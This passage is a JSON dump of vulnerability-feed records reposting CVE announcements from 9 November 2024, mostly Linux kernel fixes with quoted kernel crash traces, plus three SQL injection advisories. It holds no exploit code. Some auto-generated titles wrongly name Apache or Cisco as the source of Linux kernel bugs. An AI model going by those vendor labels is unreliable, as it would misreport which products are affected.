[<00000000ff2a1ddb] mlxsw_sp_ipv6_addr_kvdl_index_get+0x281/0x340  \n    [<000000009ddd445d] mlxsw_sp_router_netdevice_event+0x47b/0x1240  \n    [<00000000743e7757] notifier_call_chain+0x5a/0xd0  \n    [<000000007c7b9e13] call_netdevice_notifiers_info+0x39/0x90  \n    [<000000002509645d] register_netdevice+0x5f7/0x7a0  \n    [<00000000c2e7d2a9] ip6gre_newlink_common.isra.0+0x65/0x130  \n    [<0000000087cd6d8d] ip6gre_newlink+0x72/0x120  \n    [<000000004df7c7cc] rtnl_newlink+0x471/0xa20  \n    [<0000000057ed632a] rtnetlink_rcv_msg+0x142/0x3f0  \n    [<0000000032e0d5b5] netlink_rcv_skb+0x50/0x100  \n    [<00000000908bca63] netlink_unicast+0x242/0x390  \n    [<00000000cdbe1c87] netlink_sendmsg+0x1de/0x420  \n    [<0000000011db153e] ____sys_sendmsg+0x2bd/0x320  \n    [<000000003b6d53eb] ___sys_sendmsg+0x9a/0xe0  \n    [<00000000cae27c62] __sys_sendmsg+0x7a/0xd0 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:56.000000Z"}, {"uuid": "ad0b5f99-8bbf-4a44-9dbb-f805b5a0f5bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50251", "type": "seen", "source": "https://t.me/cvedetector/10330", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50251 - Linux Kernel netfilter Off-By-One vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50251 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnetfilter: nft_payload: sanitize offset and length before calling skb_checksum()  \n  \nIf access to offset + length is larger than the skbuff length, then  \nskb_checksum() triggers BUG_ON().  \n  \nskb_checksum() internally subtracts the length parameter while iterating  \nover skbuff, BUG_ON(len) at the end of it checks that the expected  \nlength to be included in the checksum calculation is fully consumed. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:55.000000Z"}, {"uuid": "63c6b7d2-6147-4a6a-9e3a-7c4725a5e8a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50249", "type": "seen", "source": "https://t.me/cvedetector/10329", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50249 - \"Linux ACPI CPPC Raw Spinlock Wait-Ordering Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50249 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nACPI: CPPC: Make rmw_lock a raw_spin_lock  \n  \nThe following BUG was triggered:  \n  \n=============================  \n[ BUG: Invalid wait context ]  \n6.12.0-rc2-XXX #406 Not tainted  \n-----------------------------  \nkworker/1:1/62 is trying to lock:  \nffffff8801593030 (&cpc_ptr->rmw_lock){+.+.}-{3:3}, at: cpc_write+0xcc/0x370  \nother info that might help us debug this:  \ncontext-{5:5}  \n2 locks held by kworker/1:1/62:  \n  #0: ffffff897ef5ec98 (&rq->__lock){-.-.}-{2:2}, at: raw_spin_rq_lock_nested+0x2c/0x50  \n  #1: ffffff880154e238 (&sg_policy->update_lock){....}-{2:2}, at: sugov_update_shared+0x3c/0x280  \nstack backtrace:  \nCPU: 1 UID: 0 PID: 62 Comm: kworker/1:1 Not tainted 6.12.0-rc2-g9654bd3e8806 #406  \nWorkqueue:  0x0 (events)  \nCall trace:  \n  dump_backtrace+0xa4/0x130  \n  show_stack+0x20/0x38  \n  dump_stack_lvl+0x90/0xd0  \n  dump_stack+0x18/0x28  \n  __lock_acquire+0x480/0x1ad8  \n  lock_acquire+0x114/0x310  \n  _raw_spin_lock+0x50/0x70  \n  cpc_write+0xcc/0x370  \n  cppc_set_perf+0xa0/0x3a8  \n  cppc_cpufreq_fast_switch+0x40/0xc0  \n  cpufreq_driver_fast_switch+0x4c/0x218  \n  sugov_update_shared+0x234/0x280  \n  update_load_avg+0x6ec/0x7b8  \n  dequeue_entities+0x108/0x830  \n  dequeue_task_fair+0x58/0x408  \n  __schedule+0x4f0/0x1070  \n  schedule+0x54/0x130  \n  worker_thread+0xc0/0x2e8  \n  kthread+0x130/0x148  \n  ret_from_fork+0x10/0x20  \n  \nsugov_update_shared() locks a raw_spinlock while cpc_write() locks a  \nspinlock.  \n  \nTo have a correct wait-type order, update rmw_lock to a raw spinlock and  \nensure that interrupts will be disabled on the CPU holding it.  \n  \n[ rjw: Changelog edits ] \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:54.000000Z"}, {"uuid": "712a589c-c5be-4db1-b79f-5eac2d0a4efe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50250", "type": "seen", "source": "https://t.me/cvedetector/10333", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50250 - Linux Kernel Fsdax Data Integrity Corrupting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50250 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nfsdax: dax_unshare_iter needs to copy entire blocks  \n  \nThe code that copies data from srcmap to iomap in dax_unshare_iter is  \nvery very broken, which bfoster's recent fsx changes have exposed.  \n  \nIf the pos and len passed to dax_file_unshare are not aligned to an  \nfsblock boundary, the iter pos and length in the _iter function will  \nreflect this unalignment.  \n  \ndax_iomap_direct_access always returns a pointer to the start of the  \nkmapped fsdax page, even if its pos argument is in the middle of that  \npage.  This is catastrophic for data integrity when iter->pos is not  \naligned to a page, because daddr/saddr do not point to the same byte in  \nthe file as iter->pos.  Hence we corrupt user data by copying it to the  \nwrong place.  \n  \nIf iter->pos + iomap_length() in the _iter function not aligned to a  \npage, then we fail to copy a full block, and only partially populate the  \ndestination block.  This is catastrophic for data confidentiality  \nbecause we expose stale pmem contents.  \n  \nFix both of these issues by aligning copy_pos/copy_len to a page  \nboundary (remember, this is fsdax so 1 fsblock == 1 base page) so that  \nwe always copy full blocks.  \n  \nWe're not done yet -- there's no call to invalidate_inode_pages2_range,  \nso programs that have the file range mmap'd will continue accessing the  \nold memory mapping after the file metadata updates have completed.  \n  \nBe careful with the return value -- if the unshare succeeds, we still  \nneed to return the number of bytes that the iomap iter thinks we're  \noperating on. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:18:33.000000Z"}, {"uuid": "4aceb2b5-b393-4fb6-9651-1f51219e635e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50243", "type": "seen", "source": "https://t.me/cvedetector/10332", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50243 - \"Linux Kernel NTFS3 Denial of Service\"\", \n  \"Content\": \"CVE ID : CVE-2024-50243 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nfs/ntfs3: Fix general protection fault in run_is_mapped_full  \n  \nFixed deleating of a non-resident attribute in ntfs_create_inode()  \nrollback. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:57.000000Z"}, {"uuid": "776dc433-0b52-4ecf-b584-3a14b47964c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50261", "type": "seen", "source": "https://t.me/cvedetector/10323", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50261 - Linux mlx5_core Use-After-Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50261 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmacsec: Fix use-after-free while sending the offloading packet  \n  \nKASAN reports the following UAF. The metadata_dst, which is used to  \nstore the SCI value for macsec offload, is already freed by  \nmetadata_dst_free() in macsec_free_netdev(), while driver still use it  \nfor sending the packet.  \n  \nTo fix this issue, dst_release() is used instead to release  \nmetadata_dst. So it is not freed instantly in macsec_free_netdev() if  \nstill referenced by skb.  \n  \n BUG: KASAN: slab-use-after-free in mlx5e_xmit+0x1e8f/0x4190 [mlx5_core]  \n Read of size 2 at addr ffff88813e42e038 by task kworker/7:2/714  \n [...]  \n Workqueue: mld mld_ifc_work  \n Call Trace:  \n    \n  dump_stack_lvl+0x51/0x60  \n  print_report+0xc1/0x600  \n  kasan_report+0xab/0xe0  \n  mlx5e_xmit+0x1e8f/0x4190 [mlx5_core]  \n  dev_hard_start_xmit+0x120/0x530  \n  sch_direct_xmit+0x149/0x11e0  \n  __qdisc_run+0x3ad/0x1730  \n  __dev_queue_xmit+0x1196/0x2ed0  \n  vlan_dev_hard_start_xmit+0x32e/0x510 [8021q]  \n  dev_hard_start_xmit+0x120/0x530  \n  __dev_queue_xmit+0x14a7/0x2ed0  \n  macsec_start_xmit+0x13e9/0x2340  \n  dev_hard_start_xmit+0x120/0x530  \n  __dev_queue_xmit+0x14a7/0x2ed0  \n  ip6_finish_output2+0x923/0x1a70  \n  ip6_finish_output+0x2d7/0x970  \n  ip6_output+0x1ce/0x3a0  \n  NF_HOOK.constprop.0+0x15f/0x190  \n  mld_sendpack+0x59a/0xbd0  \n  mld_ifc_work+0x48a/0xa80  \n  process_one_work+0x5aa/0xe50  \n  worker_thread+0x79c/0x1290  \n  kthread+0x28f/0x350  \n  ret_from_fork+0x2d/0x70  \n  ret_from_fork_asm+0x11/0x20  \n    \n  \n Allocated by task 3922:  \n  kasan_save_stack+0x20/0x40  \n  kasan_save_track+0x10/0x30  \n  __kasan_kmalloc+0x77/0x90  \n  __kmalloc_noprof+0x188/0x400  \n  metadata_dst_alloc+0x1f/0x4e0  \n  macsec_newlink+0x914/0x1410  \n  __rtnl_newlink+0xe08/0x15b0  \n  rtnl_newlink+0x5f/0x90  \n  rtnetlink_rcv_msg+0x667/0xa80  \n  netlink_rcv_skb+0x12c/0x360  \n  netlink_unicast+0x551/0x770  \n  netlink_sendmsg+0x72d/0xbd0  \n  __sock_sendmsg+0xc5/0x190  \n  ____sys_sendmsg+0x52e/0x6a0  \n  ___sys_sendmsg+0xeb/0x170  \n  __sys_sendmsg+0xb5/0x140  \n  do_syscall_64+0x4c/0x100  \n  entry_SYSCALL_64_after_hwframe+0x4b/0x53  \n  \n Freed by task 4011:  \n  kasan_save_stack+0x20/0x40  \n  kasan_save_track+0x10/0x30  \n  kasan_save_free_info+0x37/0x50  \n  poison_slab_object+0x10c/0x190  \n  __kasan_slab_free+0x11/0x30  \n  kfree+0xe0/0x290  \n  macsec_free_netdev+0x3f/0x140  \n  netdev_run_todo+0x450/0xc70  \n  rtnetlink_rcv_msg+0x66f/0xa80  \n  netlink_rcv_skb+0x12c/0x360  \n  netlink_unicast+0x551/0x770  \n  netlink_sendmsg+0x72d/0xbd0  \n  __sock_sendmsg+0xc5/0x190  \n  ____sys_sendmsg+0x52e/0x6a0  \n  ___sys_sendmsg+0xeb/0x170  \n  __sys_sendmsg+0xb5/0x140  \n  do_syscall_64+0x4c/0x100  \n  entry_SYSCALL_64_after_hwframe+0x4b/0x53 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:46.000000Z"}, {"uuid": "4636fa7c-679d-409e-923d-bb1cc09ba3d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50262", "type": "seen", "source": "https://t.me/cvedetector/10322", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50262 - Linux Kernel BPF Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50262 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: Fix out-of-bounds write in trie_get_next_key()  \n  \ntrie_get_next_key() allocates a node stack with size trie->max_prefixlen,  \nwhile it writes (trie->max_prefixlen + 1) nodes to the stack when it has  \nfull paths from the root to leaves. For example, consider a trie with  \nmax_prefixlen is 8, and the nodes with key 0x00/0, 0x00/1, 0x00/2, ...  \n0x00/8 inserted. Subsequent calls to trie_get_next_key with _key with  \n.prefixlen = 8 make 9 nodes be written on the node stack with size 8. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:43.000000Z"}, {"uuid": "daa16f7f-e441-4006-990c-20d140f0a688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50524", "type": "seen", "source": "https://t.me/cvedetector/10311", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50524 - Quyle91 Administrator Z SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50524 \nPublished : Nov. 9, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in quyle91 Administrator Z allows Blind SQL Injection.This issue affects Administrator Z: from n/a through 2024.11.04. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T12:27:21.000000Z"}, {"uuid": "5506c51b-2c89-49f7-93f1-7eb1810544f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50254", "type": "seen", "source": "https://t.me/cvedetector/10320", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50254 - Linux Kernel bpf Memory Leak Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50254 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: Free dynamically allocated bits in bpf_iter_bits_destroy()  \n  \nbpf_iter_bits_destroy() uses \"kit->nr_bits <=<00000000c452b4ab] kmemleak_alloc+0x4b/0x80  \n [<0000000004e09f80] __kmalloc_node_noprof+0x480/0x5c0  \n [<00000000597124d6] __alloc.isra.0+0x89/0xb0  \n [<000000004ebfffcd] alloc_bulk+0x2af/0x720  \n [<00000000d9c10145] prefill_mem_cache+0x7f/0xb0  \n [<00000000ff9738ff] bpf_mem_alloc_init+0x3e2/0x610  \n [<000000008b616eac] bpf_global_ma_init+0x19/0x30  \n [<00000000fc473efc] do_one_initcall+0xd3/0x3c0  \n [<00000000ec81498c] kernel_init_freeable+0x66a/0x940  \n [<00000000b119f72f] kernel_init+0x20/0x160  \n [<00000000f11ac9a7] ret_from_fork+0x3c/0x70  \n [<0000000004671da4] ret_from_fork_asm+0x1a/0x30  \n  \nThat is because nr_bits will be set as zero in bpf_iter_bits_next()  \nafter all bits have been iterated.  \n  \nFix the issue by setting kit->bit to kit->nr_bits instead of setting  \nkit->nr_bits to zero when the iteration completes in  \nbpf_iter_bits_next(). In addition, use \"!nr_bits || bits >= nr_bits\" to  \ncheck whether the iteration is complete and still use \"nr_bits > 64\" to  \nindicate whether bits are dynamically allocated. The \"!nr_bits\" check is  \nnecessary because bpf_iter_bits_new() may fail before setting  \nkit->nr_bits, and this condition will stop the iteration early instead  \nof accessing the zeroed or freed kit->bits.  \n  \nConsidering the initial value of kit->bits is -1 and the type of  \nkit->nr_bits is unsigned int, change the type of kit->nr_bits to int.  \nThe potential overflow problem will be handled in the following patch. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:41.000000Z"}, {"uuid": "453f3265-8c13-48ee-b8e1-0efca76b898e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50260", "type": "seen", "source": "https://t.me/cvedetector/10319", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50260 - Linux Kernel Sock Map NULL Pointer Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-50260 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nsock_map: fix a NULL pointer dereference in sock_map_link_update_prog()  \n  \nThe following race condition could trigger a NULL pointer dereference:  \n  \nsock_map_link_detach():  sock_map_link_update_prog():  \n   mutex_lock(&sockmap_mutex);  \n   ...  \n   sockmap_link->map = NULL;  \n   mutex_unlock(&sockmap_mutex);  \n          mutex_lock(&sockmap_mutex);  \n       ...  \n       sock_map_prog_link_lookup(sockmap_link->map);  \n       mutex_unlock(&sockmap_mutex);  \n     \n  \nFix it by adding a NULL pointer check. In this specific case, it makes  \nno sense to update a link which is being released. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:40.000000Z"}, {"uuid": "43b865ab-713e-4d0b-9909-fe34108b3573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50259", "type": "seen", "source": "https://t.me/cvedetector/10318", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50259 - \"Linux Kernel Netdevsim Uninitialized String Buffer@store\"\", \n  \"Content\": \"CVE ID : CVE-2024-50259 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnetdevsim: Add trailing zero to terminate the string in nsim_nexthop_bucket_activity_write()  \n  \nThis was found by a static analyzer.  \nWe should not forget the trailing zero after copy_from_user()  \nif we will further do some string operations, sscanf() in this  \ncase. Adding a trailing zero will ensure that the function  \nperforms properly. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:39.000000Z"}, {"uuid": "01da81de-c1bd-409a-b442-cbb42a9c6d9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50258", "type": "seen", "source": "https://t.me/cvedetector/10317", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50258 - Cisco Linux Kernel Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50258 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: fix crash when config small gso_max_size/gso_ipv4_max_size  \n  \nConfig a small gso_max_size/gso_ipv4_max_size will lead to an underflow  \nin sk_dst_gso_max_size(), which may trigger a BUG_ON crash,  \nbecause sk->sk_gso_max_size would be much bigger than device limits.  \nCall Trace:  \ntcp_write_xmit  \n    tso_segs = tcp_init_tso_segs(skb, mss_now);  \n        tcp_set_skb_tso_segs  \n            tcp_skb_pcount_set  \n                // skb->len = 524288, mss_now = 8  \n                // u16 tso_segs = 524288/8 = 65535 -> 0  \n                tso_segs = DIV_ROUND_UP(skb->len, mss_now)  \n    BUG_ON(!tso_segs)  \nAdd check for the minimum value of gso_max_size and gso_ipv4_max_size. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:36.000000Z"}, {"uuid": "f7037ec4-bf7f-4778-b5a8-d9ddeb9a991c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50544", "type": "seen", "source": "https://t.me/cvedetector/10308", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50544 - Micah Blu RSVP ME SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50544 \nPublished : Nov. 9, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Micah Blu RSVP ME allows SQL Injection.This issue affects RSVP ME: from n/a through 1.9.9. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T12:27:18.000000Z"}, {"uuid": "af54fd13-3e68-427f-a664-75a0363492fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50539", "type": "seen", "source": "https://t.me/cvedetector/10307", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50539 - Lodgix Com Vacation Rental Website Builder SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50539 \nPublished : Nov. 9, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Lodgix Lodgix.Com Vacation Rental Website Builder allows SQL Injection.This issue affects Lodgix.Com Vacation Rental Website Builder: from n/a through 3.9.73. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T12:27:18.000000Z"}, {"uuid": "490cef18-9371-4a5e-8f5f-527c12ae04d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50257", "type": "seen", "source": "https://t.me/cvedetector/10314", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50257 - Apache Netfilter netfilter Use-After-Free (UAF) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50257 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnetfilter: Fix use-after-free in get_info()  \n  \nip6table_nat module unload has refcnt warning for UAF. call trace is:  \n  \nWARNING: CPU: 1 PID: 379 at kernel/module/main.c:853 module_put+0x6f/0x80  \nModules linked in: ip6table_nat(-)  \nCPU: 1 UID: 0 PID: 379 Comm: ip6tables Not tainted 6.12.0-rc4-00047-gc2ee9f594da8-dirty #205  \nHardware name: QEMU Standard PC (i440FX + PIIX, 1996),  \nBIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014  \nRIP: 0010:module_put+0x6f/0x80  \nCall Trace:  \n   \n get_info+0x128/0x180  \n do_ip6t_get_ctl+0x6a/0x430  \n nf_getsockopt+0x46/0x80  \n ipv6_getsockopt+0xb9/0x100  \n rawv6_getsockopt+0x42/0x190  \n do_sock_getsockopt+0xaa/0x180  \n __sys_getsockopt+0x70/0xc0  \n __x64_sys_getsockopt+0x20/0x30  \n do_syscall_64+0xa2/0x1a0  \n entry_SYSCALL_64_after_hwframe+0x77/0x7f  \n  \nConcurrent execution of module unload and get_info() trigered the warning.  \nThe root cause is as follows:  \n  \ncpu0          cpu1  \nmodule_exit  \n//mod->state = MODULE_STATE_GOING  \n  ip6table_nat_exit  \n    xt_unregister_template  \n kfree(t)  \n //removed from templ_list  \n          getinfo()  \n       t = xt_find_table_lock  \n      list_for_each_entry(tmpl, &xt_templates[af]...)  \n       if (strcmp(tmpl->name, name))  \n        continue;  //table not found  \n       try_module_get  \n      list_for_each_entry(t, &xt_net->tables[af]...)  \n       return t;  //not get refcnt  \n       module_put(t->me) //uaf  \n    unregister_pernet_subsys  \n    //remove table from xt_net list  \n  \nWhile xt_table module was going away and has been removed from  \nxt_templates list, we couldnt get refcnt of xt_table->me. Check  \nmodule in xt_net->tables list re-traversal to fix it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:33.000000Z"}, {"uuid": "1814a322-151b-4593-a908-a6fb8afd39f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50255", "type": "seen", "source": "https://t.me/cvedetector/10313", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50255 - Apache Bluetooth null pointer dereference vulnerability in hci_read_supported_codecs.\", \n  \"Content\": \"CVE ID : CVE-2024-50255 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nBluetooth: hci: fix null-ptr-deref in hci_read_supported_codecs  \n  \nFix __hci_cmd_sync_sk() to return not NULL for unknown opcodes.  \n  \n__hci_cmd_sync_sk() returns NULL if a command returns a status event.  \nHowever, it also returns NULL where an opcode doesn't exist in the  \nhci_cc table because hci_cmd_complete_evt() assumes status = skb->data[0]  \nfor unknown opcodes.  \nThis leads to null-ptr-deref in cmd_sync for HCI_OP_READ_LOCAL_CODECS as  \nthere is no hci_cc for HCI_OP_READ_LOCAL_CODECS, which always assumes  \nstatus = skb->data[0].  \n  \nKASAN: null-ptr-deref in range [0x0000000000000070-0x0000000000000077]  \nCPU: 1 PID: 2000 Comm: kworker/u9:5 Not tainted 6.9.0-ga6bcb805883c-dirty #10  \nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014  \nWorkqueue: hci7 hci_power_on  \nRIP: 0010:hci_read_supported_codecs+0xb9/0x870 net/bluetooth/hci_codec.c:138  \nCode: 08 48 89 ef e8 b8 c1 8f fd 48 8b 75 00 e9 96 00 00 00 49 89 c6 48 ba 00 00 00 00 00 fc ff df 4c 8d 60 70 4c 89 e3 48 c1 eb 03 <0fb6 04 13 84 c0 0f 85 82 06 00 00 41 83 3c 24 02 77 0a e8 bf 78  \nRSP: 0018:ffff888120bafac8 EFLAGS: 00010212  \nRAX: 0000000000000000 RBX: 000000000000000e RCX: ffff8881173f0040  \nRDX: dffffc0000000000 RSI: ffffffffa58496c0 RDI: ffff88810b9ad1e4  \nRBP: ffff88810b9ac000 R08: ffffffffa77882a7 R09: 1ffffffff4ef1054  \nR10: dffffc0000000000 R11: fffffbfff4ef1055 R12: 0000000000000070  \nR13: 0000000000000000 R14: 0000000000000000 R15: ffff88810b9ac000  \nFS:  